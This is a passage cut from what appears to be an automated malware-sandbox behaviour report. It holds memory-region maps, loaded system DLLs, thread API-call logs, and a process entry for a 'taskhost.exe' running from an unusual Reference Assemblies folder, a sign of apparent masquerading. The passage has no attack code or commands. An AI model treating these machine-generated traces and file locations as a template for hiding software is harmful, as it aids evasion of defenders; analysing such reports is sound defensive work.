"pagefile_0x0000000000060000" filename = "" Region: id = 8509 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 8510 start_va = 0x7fe949e0000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949e0000" filename = "" Region: id = 8511 start_va = 0x7fe949f0000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8512 start_va = 0x7fe94a00000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8513 start_va = 0x7fe94a90000 end_va = 0x7fe94afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8514 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 8515 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8516 start_va = 0xa40000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 8517 start_va = 0xa40000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 8518 start_va = 0xbe0000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 8558 start_va = 0xca0000 end_va = 0xd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 8559 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8560 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8561 start_va = 0x24c0000 end_va = 0x1a4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 8598 start_va = 0x1a4c0000 end_va = 0x1a83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a4c0000" filename = "" Region: id = 8599 start_va = 0xda0000 end_va = 0xea0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 8600 start_va = 0x1a9a0000 end_va = 0x1aa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9a0000" filename = "" Region: id = 8601 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8628 start_va = 0xeb0000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 8629 start_va = 0x1aab0000 end_va = 0x1abaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aab0000" filename = "" Region: id = 8630 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8659 start_va = 0x1abb0000 end_va = 0x1ae7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8674 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8732 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8733 start_va = 0x3a0000 end_va = 0x41cfff monitored = 0 entry_point = 0x3acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8734 start_va = 0x3a0000 end_va = 0x41cfff monitored = 0 entry_point = 0x3acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8735 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8775 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8776 start_va = 0x1ae80000 end_va = 0x1b02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae80000" filename = "" Region: id = 8777 start_va = 0x3a0000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 8789 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8790 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8831 start_va = 0x7fe94b00000 end_va = 0x7fe94b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b00000" filename = "" Region: id = 8842 start_va = 0x7fe94b80000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b80000" filename = "" Region: id = 8843 start_va = 0x7fe94b90000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b90000" filename = "" Region: id = 8874 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8896 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8897 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8941 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8942 start_va = 0x570000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 8943 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8944 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8945 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8988 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8989 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9004 start_va = 0x1b030000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b030000" filename = "" Region: id = 9029 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9073 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9074 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9075 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9078 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9079 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9107 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9122 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9148 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9162 start_va = 0x490000 end_va = 0x4f1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9187 start_va = 0xb90000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 9188 start_va = 0x1b1f0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 9189 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9190 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 9318 start_va = 0x1b3f0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 9319 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9320 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9321 start_va = 0x500000 end_va = 0x544fff monitored = 0 entry_point = 0x501064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9322 start_va = 0x500000 end_va = 0x544fff monitored = 0 entry_point = 0x501064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9323 start_va = 0x500000 end_va = 0x544fff monitored = 0 entry_point = 0x501064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9324 start_va = 0x500000 end_va = 0x544fff monitored = 0 entry_point = 0x501064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9325 start_va = 0x500000 end_va = 0x544fff monitored = 0 entry_point = 0x501064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9326 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9392 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9393 start_va = 0x1a8a0000 end_va = 0x1a99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8a0000" filename = "" Region: id = 9394 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9422 start_va = 0x1b5d0000 end_va = 0x1b6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5d0000" filename = "" Region: id = 9423 start_va = 0x1b770000 end_va = 0x1b86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b770000" filename = "" Region: id = 9424 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9425 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9458 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 9505 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9519 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9537 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9559 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 9574 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 9676 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9677 start_va = 0x1b870000 end_va = 0x1bb41fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9678 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 9679 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 9680 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 9681 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9682 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 9683 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 9684 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 9685 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 9686 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 9687 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 9688 start_va = 0xb00000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 9689 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 9690 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 9691 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Thread: id = 370 os_tid = 0x570 [0262.976] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.049] EtwEventRegister (in: ProviderId=0x24c58f8, EnableCallback=0x1b15135c, CallbackContext=0x0, RegHandle=0x24c58d8 | out: RegHandle=0x24c58d8) returned 0x0 [0277.145] EtwEventRegister (in: ProviderId=0x24ca080, EnableCallback=0x1b1513ac, CallbackContext=0x0, RegHandle=0x24ca060 | out: RegHandle=0x24ca060) returned 0x0 [0279.053] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xd6b50*=0xd8, lpdwindex=0x22e4e4 | out: lpdwindex=0x22e4e4) returned 0x0 [0280.133] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xd6b50*=0xd8, lpdwindex=0x22e4e4) Thread: id = 451 os_tid = 0x814 Thread: id = 457 os_tid = 0x82c [0264.016] CoGetContextToken (in: pToken=0x1aa9f9e0 | out: pToken=0x1aa9f9e0) returned 0x800401f0 [0264.017] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 464 os_tid = 0x848 Thread: id = 480 os_tid = 0x890 [0278.232] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.233] CoGetContextToken (in: pToken=0x1b2efb30 | out: pToken=0x1b2efb30) returned 0x0 [0278.233] CObjectContext::QueryInterface () returned 0x0 [0278.233] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.233] Release () returned 0x0 [0278.233] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.234] CoUninitialize () [0288.804] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b2edf58 | out: phkResult=0x1b2edf58*=0x0) returned 0x2 [0288.805] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe", nBufferLength=0x105, lpBuffer=0x1b2eea90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe", lpFilePart=0x0) returned 0x54 Thread: id = 481 os_tid = 0x894 Thread: id = 514 os_tid = 0x91c Thread: id = 529 os_tid = 0x95c Thread: id = 530 os_tid = 0x960 Thread: id = 531 os_tid = 0x964 [0280.131] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0280.132] CoGetContextToken (in: pToken=0x1b86f9b0 | out: pToken=0x1b86f9b0) returned 0x0 [0280.132] CObjectContext::QueryInterface () returned 0x0 [0280.132] CObjectContext::GetCurrentThreadType () returned 0x0 [0280.132] Release () returned 0x0 [0280.132] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0280.132] CoUninitialize () Process: id = "82" image_name = "taskhost.exe" filename = "c:\\program files\\reference assemblies\\taskhost.exe" page_root = "0x2219b000" os_pid = "0x574" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "\"C:\\Program Files\\Reference Assemblies\\taskhost.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7223 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7224 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7225 start_va = 0x170000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 7226 start_va = 0xb60000 end_va = 0xc35fff monitored = 1 entry_point = 0xc2d67e region_type = mapped_file name = "taskhost.exe" filename = "\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe") Region: id = 7227 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7228 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7229 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7230 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7231 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7232 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 7233 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7234 start_va = 0x270000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 7597 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7598 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7599 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7600 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7601 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7602 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7675 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7676 start_va = 0xb0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7677 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 7678 start_va = 0x3e0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 7785 start_va = 0x460000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8165 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8166 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8167 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8168 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8169 start_va = 0x4e0000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 8170 start_va = 0x590000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 8171 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 8172 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 8173 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 8174 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8175 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8176 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 8177 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: 